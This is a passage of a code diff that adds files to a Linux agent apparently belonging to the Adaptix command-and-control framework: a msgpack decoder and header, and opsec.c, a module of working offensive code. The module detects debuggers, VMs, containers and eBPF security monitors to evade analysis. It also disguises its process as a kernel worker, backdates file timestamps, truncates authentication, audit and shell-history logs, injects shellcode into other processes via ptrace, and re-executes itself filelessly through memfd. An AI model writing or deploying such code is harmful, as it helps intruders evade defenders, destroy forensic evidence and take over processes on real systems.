{ + return -1; + } + if (*len > 0) { + if (read_bytes(r, data, *len)) return -1; + } else { + *data = (const uint8_t*)0; + } + return 0; +} + +int mp_skip(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b <= 0x7F) return 0; + if ((b & 0xE0) == 0xE0) return 0; + if ((b & 0xF0) == 0x80) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + if ((b & 0xF0) == 0x90) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + if ((b & 0xE0) == 0xA0) { + uint32_t len = b & 0x1F; + r->pos += len; + return (r->pos <= r->len) ? 0 : -1; + } + const uint8_t* p; + switch (b) { + case 0xC0: case 0xC2: case 0xC3: return 0; + case 0xCC: r->pos += 1; break; + case 0xCD: r->pos += 2; break; + case 0xCE: r->pos += 4; break; + case 0xCF: r->pos += 8; break; + case 0xD0: r->pos += 1; break; + case 0xD1: r->pos += 2; break; + case 0xD2: r->pos += 4; break; + case 0xD3: r->pos += 8; break; + case 0xCA: r->pos += 4; break; + case 0xCB: r->pos += 8; break; + case 0xC4: + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xC5: + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xC6: + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xD9: + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xDA: + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xDB: + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xDC: { + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDD: { + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDE: { + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDF: { + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + default: + return -1; + } + return (r->pos <= r->len) ? 0 : -1; +} + +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key) { + size_t key_len = ax_strlen(key); + for (uint32_t i = 0; i < map_count; i++) { + const char* k; + uint32_t klen; + if (mp_read_str(r, &k, &klen)) return -1; + if (klen == key_len && ax_memcmp(k, key, klen) == 0) { + return 0; + } + if (mp_skip(r)) return -1; + } + return -1; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h new file mode 100644 index 000000000..cf63a762b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h @@ -0,0 +1,54 @@ +#ifndef MSGPACK_H +#define MSGPACK_H + +#include "types.h" +#include "crt.h" + +/// ---- Writer (encoder) ---- + +typedef struct { + buffer_t buf; +} mp_writer_t; + +int mp_writer_init(mp_writer_t *w, size_t cap); +void mp_writer_free(mp_writer_t *w); + +int mp_write_map(mp_writer_t *w, uint32_t count); +int mp_write_array(mp_writer_t *w, uint32_t count); +int mp_write_nil(mp_writer_t *w); +int mp_write_bool(mp_writer_t *w, bool val); +int mp_write_uint(mp_writer_t *w, uint64_t val); +int mp_write_int(mp_writer_t *w, int64_t val); +int mp_write_str(mp_writer_t *w, const char *str, uint32_t len); +int mp_write_bin(mp_writer_t *w, const uint8_t *data, uint32_t len); + +int mp_write_kv_str(mp_writer_t *w, const char *key, const char *val); +int mp_write_kv_bin(mp_writer_t *w, const char *key, const uint8_t *data, uint32_t len); +int mp_write_kv_uint(mp_writer_t *w, const char *key, uint64_t val); +int mp_write_kv_int(mp_writer_t *w, const char *key, int64_t val); +int mp_write_kv_bool(mp_writer_t *w, const char *key, bool val); + +/// ---- Reader (decoder) ---- + +typedef struct { + const uint8_t *data; + size_t len; + size_t pos; +} mp_reader_t; + +void mp_reader_init(mp_reader_t *r, const uint8_t *data, size_t len); +uint8_t mp_peek_type(mp_reader_t *r); +int mp_skip(mp_reader_t *r); + +int mp_read_map(mp_reader_t *r, uint32_t *count); +int mp_read_array(mp_reader_t *r, uint32_t *count); +int mp_read_nil(mp_reader_t *r); +int mp_read_bool(mp_reader_t *r, bool *val); +int mp_read_uint(mp_reader_t *r, uint64_t *val); +int mp_read_int(mp_reader_t *r, int64_t *val); +int mp_read_str(mp_reader_t *r, const char **str, uint32_t *len); +int mp_read_bin(mp_reader_t *r, const uint8_t **data, uint32_t *len); + +int mp_find_key_str(mp_reader_t *r, uint32_t map_count, const char *key); + +#endif // MSGPACK_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c new file mode 100644 index 000000000..eb3197540 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c @@ -0,0 +1,883 @@ +/// opsec.c -- OPSEC checks + offensive capabilities for Linux agent +/// Anti-debug, VM/hypervisor detection, container detection, eBPF detection, +/// process masquerading, timestomping, log evasion, ptrace injection, memfd migrate +/// Uses only direct syscalls — zero libc dependency. + +#include "opsec.h" +#include "crt.h" +#include "types.h" +#include "strings_obf.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 + +#define PTRACE_TRACEME 0 +#define PTRACE_PEEKTEXT 1 +#define PTRACE_POKETEXT 4 +#define PTRACE_GETREGS 12 +#define PTRACE_SETREGS 13 +#define PTRACE_ATTACH 16 +#define PTRACE_DETACH 17 + +#define PR_SET_NAME 15 + +#define MFD_CLOEXEC 0x0001U + +#ifndef AT_FDCWD +#define AT_FDCWD -100 +#endif + +// BPF commands +#define BPF_PROG_GET_NEXT_ID 11 +#define BPF_PROG_GET_FD_BY_ID 13 +#define BPF_OBJ_GET_INFO_BY_FD 15 + +// BPF program types (monitoring-relevant) +#define BPF_PROG_TYPE_KPROBE 1 +#define BPF_PROG_TYPE_TRACEPOINT 5 +#define BPF_PROG_TYPE_RAW_TRACEPOINT 17 +#define BPF_PROG_TYPE_LSM 29 + +// ── Helpers ── + +/// Read a small file via direct syscall. Returns bytes read, -1 on error. +static int read_file(const char *path, char *buf, int max_len) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + + int total = 0; + while (total < max_len - 1) { + long n = sys_read(fd, buf + total, (size_t)(max_len - 1 - total)); + if (n <= 0) break; + total += (int)n; + } + buf[total] = '\0'; + sys_close(fd); + return total; +} + +/// Check if a file exists (can be opened) +static int file_exists(const char *path) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return 0; + sys_close(fd); + return 1; +} + +/// Case-insensitive substring search in buf +static int contains_ci(const char *haystack, const char *needle) { + if (!*needle) return 1; + int nlen = (int)ax_strlen(needle); + + for (; *haystack; haystack++) { + int match = 1; + for (int i = 0; i < nlen; i++) { + char h = haystack[i]; + char n = needle[i]; + if (!h) { match = 0; break; } + if (h >= 'A' && h <= 'Z') h += 32; + if (n >= 'A' && n <= 'Z') n += 32; + if (h != n) { match = 0; break; } + } + if (match) return 1; + } + return 0; +} + +/// Write all bytes to fd +static int write_all(int fd, const void *buf, size_t len) { + const uint8_t *p = (const uint8_t *)buf; + size_t remaining = len; + while (remaining > 0) { + long n = sys_write(fd, p, remaining); + if (n < 0) return -1; + p += n; + remaining -= (size_t)n; + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// Anti-Debug +// ══════════════════════════════════════════════════════════════════════ + +int opsec_anti_debug(void) { + // 1. Check /proc/self/status for TracerPid (non-invasive) + char _path_status[64]; + DEOBF(OBF_PROC_SELF_STATUS, _path_status); + char status_buf[2048]; + if (read_file(_path_status, status_buf, sizeof(status_buf)) > 0) { + char *tracer = ax_strstr(status_buf, "TracerPid:"); + if (tracer) { + tracer += 10; + while (*tracer == ' ' || *tracer == '\t') tracer++; + int pid = ax_atoi(tracer); + if (pid != 0) { + ZERO_STR(_path_status, sizeof(_path_status)); + return -1; // Non-zero TracerPid → debugger attached + } + } + } + ZERO_STR(_path_status, sizeof(_path_status)); + + // 2. Fork-based ptrace check — child attempts TRACEME, parent reads result + // This avoids leaving the main process in a traced state. + { + int pipefd[2]; + if (sys_pipe2(pipefd, 0) < 0) goto skip_ptrace; + + int child = sys_fork(); + if (child < 0) { + sys_close(pipefd[0]); + sys_close(pipefd[1]); + goto skip_ptrace; + } + + if (child == 0) { + // Child: try TRACEME — if we're being traced, this fails + sys_close(pipefd[0]); + uint8_t result = 0; + if (sys_ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) + result = 1; // Already traced + sys_write(pipefd[1], &result, 1); + sys_close(pipefd[1]); + sys_exit_group(0); + } + + // Parent: read child result + sys_close(pipefd[1]); + uint8_t result = 0; + sys_read(pipefd[0], &result, 1); + sys_close(pipefd[0]); + + // Wait for child to prevent zombie + sys_wait4(child, NULL, 0, NULL); + + if (result != 0) return -1; + } +skip_ptrace: + + // 3. Timing check — detect single-stepping +#ifdef ARCH_X86_64 + { + uint32_t lo1, hi1, lo2, hi2; + __asm__ volatile("rdtsc" : "=a"(lo1), "=d"(hi1)); + + volatile int dummy = 0; + for (int i = 0; i < 100; i++) dummy += i; + (void)dummy; + + __asm__ volatile("rdtsc" : "=a"(lo2), "=d"(hi2)); + + uint64_t t1 = ((uint64_t)hi1 << 32) | lo1; + uint64_t t2 = ((uint64_t)hi2 << 32) | lo2; + uint64_t delta = t2 - t1; + + // Normal: ~1000-50000 cycles. Single-step: >10M cycles. + if (delta > 10000000) { + return -1; + } + } +#endif + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// VM/Hypervisor Detection +// ══════════════════════════════════════════════════════════════════════ + +int opsec_vm_detect(void) { + char dmi_buf[256]; + + // 1. DMI product_name + char _path_dmi[64]; + DEOBF(OBF_SYS_DMI_PRODUCT, _path_dmi); + if (read_file(_path_dmi, dmi_buf, sizeof(dmi_buf)) > 0) { + if (contains_ci(dmi_buf, "virtualbox")) return -1; + if (contains_ci(dmi_buf, "vmware")) return -1; + if (contains_ci(dmi_buf, "qemu")) return -1; + if (contains_ci(dmi_buf, "kvm")) return -1; + if (contains_ci(dmi_buf, "xen")) return -1; + if (contains_ci(dmi_buf, "hyper-v")) return -1; + if (contains_ci(dmi_buf, "parallels")) return -1; + } + + // 2. DMI sys_vendor + char _path_vendor[64]; + DEOBF(OBF_SYS_DMI_VENDOR, _path_vendor); + if (read_file(_path_vendor, dmi_buf, sizeof(dmi_buf)) > 0) { + if (contains_ci(dmi_buf, "vmware")) return -1; + if (contains_ci(dmi_buf, "innotek")) return -1; + if (contains_ci(dmi_buf, "qemu")) return -1; + if (contains_ci(dmi_buf, "xen")) return -1; + if (contains_ci(dmi_buf, "microsoft")) return -1; + if (contains_ci(dmi_buf, "parallels")) return -1; + } + + // 3. /proc/cpuinfo — check for "hypervisor" flag + char _path_cpu[64]; + DEOBF(OBF_PROC_CPUINFO, _path_cpu); + char cpuinfo_buf[4096]; + if (read_file(_path_cpu, cpuinfo_buf, sizeof(cpuinfo_buf)) > 0) { + if (ax_strstr(cpuinfo_buf, "hypervisor")) return -1; + } + + // 4. CPU count check — analysis VMs often have 1 core + { + int cpu_count = 0; + char *p = cpuinfo_buf; + while ((p = ax_strstr(p, "processor")) != NULL) { + cpu_count++; + p += 9; + } + if (cpu_count > 0 && cpu_count < 2) return -1; + } + + // 5. RAM check — /proc/meminfo MemTotal < 2GB = suspect + { + char _path_mem[64]; + DEOBF(OBF_PROC_MEMINFO, _path_mem); + char meminfo_buf[1024]; + if (read_file(_path_mem, meminfo_buf, sizeof(meminfo_buf)) > 0) { + char *mt = ax_strstr(meminfo_buf, "MemTotal:"); + if (mt) { + mt += 9; + while (*mt == ' ') mt++; + long kb = 0; + while (*mt >= '0' && *mt <= '9') { + kb = kb * 10 + (*mt - '0'); + mt++; + } + if (kb > 0 && kb < 2 * 1024 * 1024) return -1; + } + } + } + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// Container Detection +// ══════════════════════════════════════════════════════════════════════ + +int opsec_container_detect(void) { + char _path_dockerenv[64]; + DEOBF(OBF_DOCKERENV, _path_dockerenv); + if (file_exists(_path_dockerenv)) return -1; + + char _path_cgroup[64]; + DEOBF(OBF_PROC_1_CGROUP, _path_cgroup); + char cgroup_buf[2048]; + if (read_file(_path_cgroup, cgroup_buf, sizeof(cgroup_buf)) > 0) { + if (ax_strstr(cgroup_buf, "docker")) return -1; + if (ax_strstr(cgroup_buf, "kubepods")) return -1; + if (ax_strstr(cgroup_buf, "lxc")) return -1; + if (ax_strstr(cgroup_buf, "containerd")) return -1; + if (ax_strstr(cgroup_buf, "podman")) return -1; + } + + char selfcg_buf[1024]; + if (read_file("/proc/self/cgroup", selfcg_buf, sizeof(selfcg_buf)) > 0) { + if (ax_strstr(selfcg_buf, "docker")) return -1; + if (ax_strstr(selfcg_buf, "kubepods")) return -1; + if (ax_strstr(selfcg_buf, "podman")) return -1; + } + + char _path_k8s[64]; + DEOBF(OBF_K8S_SECRETS, _path_k8s); + if (file_exists(_path_k8s)) return -1; + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) return -1; + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// eBPF Detection — enumerate loaded BPF programs +// ══════════════════════════════════════════════════════════════════════ + +int opsec_ebpf_detect(void) { + int monitoring_count = 0; + + // Method 1: Check /sys/fs/bpf/ — pinned BPF programs + if (file_exists("/sys/fs/bpf")) { + // If the directory exists and is accessible, BPF is active + // We can't easily enumerate without getdents, so just flag it + } + + // Method 2: bpf(BPF_PROG_GET_NEXT_ID) — iterate all loaded programs + // attr = { start_id: u32, next_id: u32 } + // Each iteration returns next program ID + { + // BPF attr union — we only need the first 8 bytes + uint8_t attr[128]; + ax_memset(attr, 0, sizeof(attr)); + + uint32_t start_id = 0; + for (int iter = 0; iter < 1024; iter++) { + // attr.__u32 start_id at offset 0 + ax_memcpy(attr, &start_id, 4); + + long ret = sys_bpf(BPF_PROG_GET_NEXT_ID, attr, sizeof(attr)); + if (ret < 0) break; // No more programs + + // next_id at offset 4 + uint32_t next_id; + ax_memcpy(&next_id, attr + 4, 4); + + // Get fd for this program + ax_memset(attr, 0, sizeof(attr)); + ax_memcpy(attr, &next_id, 4); // prog_id at offset 0 + long fd = sys_bpf(BPF_PROG_GET_FD_BY_ID, attr, sizeof(attr)); + if (fd >= 0) { + // Get program info via BPF_OBJ_GET_INFO_BY_FD + // info_by_fd: { bpf_fd: u32, info_len: u32, info: u64 (ptr) } + uint8_t info[256]; + ax_memset(info, 0, sizeof(info)); + ax_memset(attr, 0, sizeof(attr)); + + uint32_t bpf_fd = (uint32_t)fd; + uint32_t info_len = (uint32_t)sizeof(info); + uint64_t info_ptr = (uint64_t)(unsigned long)info; + + // bpf_attr for OBJ_GET_INFO_BY_FD: + // offset 0: bpf_fd (u32) + // offset 4: info_len (u32) + // offset 8: info (u64, pointer) + ax_memcpy(attr, &bpf_fd, 4); + ax_memcpy(attr + 4, &info_len, 4); + ax_memcpy(attr + 8, &info_ptr, 8); + + ret = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, attr, 16); + if (ret == 0) { + // bpf_prog_info.type is at offset 0 (u32) + uint32_t prog_type; + ax_memcpy(&prog_type, info, 4); + + if (prog_type == BPF_PROG_TYPE_KPROBE || + prog_type == BPF_PROG_TYPE_TRACEPOINT || + prog_type == BPF_PROG_TYPE_RAW_TRACEPOINT || + prog_type == BPF_PROG_TYPE_LSM) { + monitoring_count++; + } + } + sys_close((int)fd); + } + + start_id = next_id; + } + } + + // Method 3: Filesystem indicators + // Check for Falco / Tetragon / Cilium / Tracee + if (file_exists("/etc/falco/falco.yaml")) monitoring_count++; + if (file_exists("/var/run/cilium/state")) monitoring_count++; + if (file_exists("/opt/tetragon")) monitoring_count++; + + return monitoring_count; // 0 = safe, >0 = number of eBPF monitors found +} + +// ══════════════════════════════════════════════════════════════════════ +// Process Masquerading +// ══════════════════════════════════════════════════════════════════════ + +void opsec_masquerade(const char *fake_name, char **argv) { + if (!fake_name || !*fake_name) return; + + // 1. prctl(PR_SET_NAME) → modifies /proc/self/comm (max 16 chars) + sys_prctl(PR_SET_NAME, (unsigned long)fake_name, 0, 0, 0); + + // 2. Overwrite argv[0] → modifies /proc/self/cmdline + if (argv && argv[0]) { + // Calculate max length we can overwrite (argv[0] buffer) + size_t old_len = ax_strlen(argv[0]); + size_t new_len = ax_strlen(fake_name); + size_t copy_len = new_len < old_len ? new_len : old_len; + + ax_memcpy(argv[0], fake_name, copy_len); + // Zero-fill remainder to avoid partial old name showing + if (copy_len < old_len) { + ax_memset(argv[0] + copy_len, 0, old_len - copy_len); + } + } +} + +// ══════════════════════════════════════════════════════════════════════ +// Timestomping — modify atime/mtime via utimensat +// ══════════════════════════════════════════════════════════════════════ + +int opsec_timestomp(const char *path, long ts_sec) { + if (!path) return -1; + + struct linux_timespec times[2]; + + if (ts_sec == 0) { + // Special: set UTIME_OMIT-like behavior — copy from reference + // Use a common system file as reference + struct linux_stat st; + if (sys_stat("/usr/bin/ls", &st) == 0) { + times[0].tv_sec = (long)st.st_atime_sec; + times[0].tv_nsec = (long)st.st_atime_nsec; + times[1].tv_sec = (long)st.st_mtime_sec; + times[1].tv_nsec = (long)st.st_mtime_nsec; + } else { + // Fallback: Jan 15, 2024 10:30:00 UTC + times[0].tv_sec = 1705311000; + times[0].tv_nsec = 0; + times[1].tv_sec = 1705311000; + times[1].tv_nsec = 0; + } + } else { + times[0].tv_sec = ts_sec; + times[0].tv_nsec = 0; + times[1].tv_sec = ts_sec; + times[1].tv_nsec = 0; + } + + return sys_utimensat(AT_FDCWD, path, times, 0); +} + +// ══════════════════════════════════════════════════════════════════════ +// Log Evasion — truncate authentication & session logs +// ══════════════════════════════════════════════════════════════════════ + +int opsec_clean_logs(void) { + // Only effective as root — non-root will fail silently + int cleaned = 0; + + // Truncate binary logs (these can't be selectively edited) + const char *binary_logs[] = { + "/var/log/wtmp", + "/var/log/btmp", + "/var/log/lastlog", + "/var/run/utmp", + NULL + }; + + for (int i = 0; binary_logs[i]; i++) { + int fd = sys_open(binary_logs[i], O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + + // Truncate text logs + const char *text_logs[] = { + "/var/log/auth.log", + "/var/log/secure", + "/var/log/syslog", + "/var/log/messages", + "/var/log/audit/audit.log", + NULL + }; + + for (int i = 0; text_logs[i]; i++) { + int fd = sys_open(text_logs[i], O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + + // Clear shell history for current user + // Read HOME from /proc/self/environ + char _path_environ[64]; + DEOBF(OBF_PROC_SELF_ENVIRON, _path_environ); + char env_buf[4096]; + int env_len = read_file(_path_environ, env_buf, sizeof(env_buf)); + if (env_len > 0) { + // /proc/self/environ is NUL-separated + char *p = env_buf; + char *end = env_buf + env_len; + while (p < end) { + if (ax_strncmp(p, "HOME=", 5) == 0) { + char *home = p + 5; + // Truncate common history files + char path[512]; + const char *history_files[] = { + "/.bash_history", + "/.zsh_history", + "/.python_history", + NULL + }; + for (int i = 0; history_files[i]; i++) { + // Build path: HOME + history_file + size_t hlen = ax_strlen(home); + size_t flen = ax_strlen(history_files[i]); + if (hlen + flen < sizeof(path)) { + ax_memcpy(path, home, hlen); + ax_memcpy(path + hlen, history_files[i], flen + 1); + int fd = sys_open(path, O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + } + break; + } + // Skip to next NUL-separated entry + while (p < end && *p) p++; + p++; + } + } + + return cleaned; // Number of logs truncated +} + +// ══════════════════════════════════════════════════════════════════════ +// Process Injection via ptrace +// ══════════════════════════════════════════════════════════════════════ + +#ifdef ARCH_X86_64 + +// x86_64 user_regs_struct (simplified) +struct user_regs { + uint64_t r15, r14, r13, r12, rbp, rbx, r11, r10; + uint64_t r9, r8, rax, rcx, rdx, rsi, rdi, orig_rax; + uint64_t rip, cs, eflags, rsp, ss, fs_base, gs_base; + uint64_t ds, es, fs, gs; +}; + +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len) { + if (!shellcode || sc_len == 0) return -1; + + // 1. Attach to target + if (sys_ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0) + return -1; + + // Wait for target to stop + int wstatus = 0; + sys_wait4(target_pid, &wstatus, 0, NULL); + + // 2. Get current registers + struct user_regs regs; + if (sys_ptrace(PTRACE_GETREGS, target_pid, NULL, ®s) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // 3. Find writable region in target via /proc/PID/maps + // Look for an anonymous RW mapping (e.g. heap or stack) to write shellcode + char maps_path[64]; + char pid_str[16]; + ax_itoa(target_pid, pid_str, 10); + ax_strcpy(maps_path, "/proc/"); + ax_strcat(maps_path, pid_str); + ax_strcat(maps_path, "/maps"); + + char maps_buf[8192]; + int maps_len = read_file(maps_path, maps_buf, sizeof(maps_buf)); + if (maps_len <= 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // Parse maps looking for an executable region to inject into. + // Priority: 1) r-xp (code section — POKETEXT bypasses page protections) + // 2) rwxp (rare but ideal) + // 3) fallback to current RIP + // Writing into r-xp via POKETEXT works because ptrace operates at + // the kernel level, bypassing page permission checks. The page is + // already executable so the target can run the shellcode directly. + uint64_t inject_addr = 0; + char *line = maps_buf; + while (*line) { + // Format: "addr1-addr2 perms offset dev inode pathname" + uint64_t addr1 = 0, addr2 = 0; + char *p = line; + while (*p && *p != '-') { + char c = *p; + if (c >= '0' && c <= '9') addr1 = (addr1 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr1 = (addr1 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == '-') p++; + while (*p && *p != ' ') { + char c = *p; + if (c >= '0' && c <= '9') addr2 = (addr2 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr2 = (addr2 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == ' ') p++; + // Read perms (4 chars: r-xp, rwxp, rw-p, etc.) + if (p[0] == 'r' && p[2] == 'x' && p[3] == 'p') { + // r-xp or rwxp — executable region + uint64_t region_size = addr2 - addr1; + if (region_size > sc_len + 0x200) { + // Inject near the end of .text to minimize disruption + inject_addr = addr2 - sc_len - 0x100; + // Align to 16 + inject_addr &= ~(uint64_t)0xF; + break; + } + } + // Next line + while (*line && *line != '\n') line++; + if (*line == '\n') line++; + } + + if (inject_addr == 0) { + // Fallback: use RIP-relative (inject at current RIP position) + inject_addr = regs.rip; + } + + // 4. Write shellcode via POKETEXT (8 bytes at a time) + for (size_t i = 0; i < sc_len; i += 8) { + uint64_t word = 0; + size_t chunk = sc_len - i; + if (chunk > 8) chunk = 8; + + // If less than 8 bytes, read existing word first to preserve trailing bytes + if (chunk < 8) { + long existing = sys_ptrace(PTRACE_PEEKTEXT, target_pid, + (void *)(inject_addr + i), NULL); + word = (uint64_t)existing; + } + + ax_memcpy(&word, shellcode + i, chunk); + if (sys_ptrace(PTRACE_POKETEXT, target_pid, + (void *)(inject_addr + i), (void *)word) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + } + + // 5. Set RIP to our shellcode + regs.rip = inject_addr; + sys_ptrace(PTRACE_SETREGS, target_pid, NULL, ®s); + + // 6. Detach — target resumes at our shellcode + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + + return 0; +} + +#elif defined(ARCH_AARCH64) + +// ARM64 user_regs_struct +struct user_regs { + uint64_t regs[31]; // x0-x30 + uint64_t sp; + uint64_t pc; + uint64_t pstate; +}; + +// ARM64 uses PTRACE_GETREGSET / PTRACE_SETREGSET with NT_PRSTATUS +// But some kernels support GETREGS/SETREGS too. Use raw ptrace. +#define PTRACE_GETREGSET 0x4204 +#define PTRACE_SETREGSET 0x4205 +#define NT_PRSTATUS 1 + +struct iovec_t { + void *iov_base; + size_t iov_len; +}; + +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len) { + if (!shellcode || sc_len == 0) return -1; + + // 1. Attach + if (sys_ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0) + return -1; + + int wstatus = 0; + sys_wait4(target_pid, &wstatus, 0, NULL); + + // 2. Get registers via GETREGSET + struct user_regs regs; + struct iovec_t iov; + iov.iov_base = ®s; + iov.iov_len = sizeof(regs); + + if (sys_ptrace(PTRACE_GETREGSET, target_pid, (void *)(long)NT_PRSTATUS, &iov) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // 3. Find writable region + char maps_path[64]; + char pid_str[16]; + ax_itoa(target_pid, pid_str, 10); + ax_strcpy(maps_path, "/proc/"); + ax_strcat(maps_path, pid_str); + ax_strcat(maps_path, "/maps"); + + char maps_buf[8192]; + int maps_len = read_file(maps_path, maps_buf, sizeof(maps_buf)); + uint64_t inject_addr = 0; + + if (maps_len > 0) { + // Find r-xp or rwxp region (executable) — POKETEXT bypasses page protections + char *line = maps_buf; + while (*line) { + uint64_t addr1 = 0, addr2 = 0; + char *p = line; + while (*p && *p != '-') { + char c = *p; + if (c >= '0' && c <= '9') addr1 = (addr1 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr1 = (addr1 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == '-') p++; + while (*p && *p != ' ') { + char c = *p; + if (c >= '0' && c <= '9') addr2 = (addr2 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr2 = (addr2 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == ' ') p++; + if (p[0] == 'r' && p[2] == 'x' && p[3] == 'p') { + uint64_t region_size = addr2 - addr1; + if (region_size > sc_len + 0x200) { + inject_addr = addr2 - sc_len - 0x100; + inject_addr &= ~(uint64_t)0xF; + break; + } + } + while (*line && *line != '\n') line++; + if (*line == '\n') line++; + } + } + + if (inject_addr == 0) { + inject_addr = regs.pc; + } + + // 4. Write shellcode via POKETEXT + for (size_t i = 0; i < sc_len; i += 8) { + uint64_t word = 0; + size_t chunk = sc_len - i; + if (chunk > 8) chunk = 8; + + if (chunk < 8) { + long existing = sys_ptrace(PTRACE_PEEKTEXT, target_pid, + (void *)(inject_addr + i), NULL); + word = (uint64_t)existing; + } + + ax_memcpy(&word, shellcode + i, chunk); + if (sys_ptrace(PTRACE_POKETEXT, target_pid, + (void *)(inject_addr + i), (void *)word) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + } + + // 5. Set PC to our shellcode + regs.pc = inject_addr; + iov.iov_base = ®s; + iov.iov_len = sizeof(regs); + sys_ptrace(PTRACE_SETREGSET, target_pid, (void *)(long)NT_PRSTATUS, &iov); + + // 6. Detach + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + + return 0; +} + +#endif // ARCH_X86_64 / ARCH_AARCH64 + +// ══════════════════════════════════════════════════════════════════════ +// Fileless self-re-exec via memfd_create +// ══════════════════════════════════════════════════════════════════════ + +int opsec_migrate_memfd(char **argv, char **envp) { + // 1. Read our own binary from /proc/self/exe + char _path_exe[64]; + DEOBF(OBF_PROC_SELF_EXE, _path_exe); + int src_fd = sys_open(_path_exe, O_RDONLY, 0); + if (src_fd < 0) return -1; + + // Get size via stat + struct linux_stat st; + if (sys_fstat(src_fd, &st) < 0) { + sys_close(src_fd); + return -1; + } + + size_t exe_size = (size_t)st.st_size; + if (exe_size == 0 || exe_size > 100 * 1024 * 1024) { + sys_close(src_fd); + return -1; // Sanity check: max 100MB + } + + // 2. Create anonymous fd via memfd_create + int mem_fd = sys_memfd_create("", MFD_CLOEXEC); + if (mem_fd < 0) { + sys_close(src_fd); + return -1; + } + + // 3. Copy binary to memfd + uint8_t copy_buf[4096]; + size_t remaining = exe_size; + while (remaining > 0) { + size_t chunk = remaining > sizeof(copy_buf) ? sizeof(copy_buf) : remaining; + long n = sys_read(src_fd, copy_buf, chunk); + if (n <= 0) { + sys_close(src_fd); + sys_close(mem_fd); + return -1; + } + if (write_all(mem_fd, copy_buf, (size_t)n) != 0) { + sys_close(src_fd); + sys_close(mem_fd); + return -1; + } + remaining -= (size_t)n; + } + sys_close(src_fd); + + // 4. Build /proc/self/fd/N path for execve + char fd_path[64]; + ax_strcpy(fd_path, "/proc/self/fd/"); + char fd_str[16]; + ax_itoa(mem_fd, fd_str, 10); + ax_strcat(fd_path, fd_str); + + // 5. execve from memfd — replaces current process + // If argv is NULL, use a minimal argv + char *default_argv[] = { (char*)"[kworker/0:1-events]", NULL }; + char *default_envp[] = { NULL }; + + sys_execve(fd_path, + argv ? argv : default_argv, + envp ? envp : default_envp); + + // If we get here, execve failed + sys_close(mem_fd); + return -1; +} + +// ══════════════════════════════════════════════════════════════════════ +// Combined Check +// ══════════════════════════════════════════════════════════════════════ + +int opsec_check(void) { + // Anti-debug is blocking + if 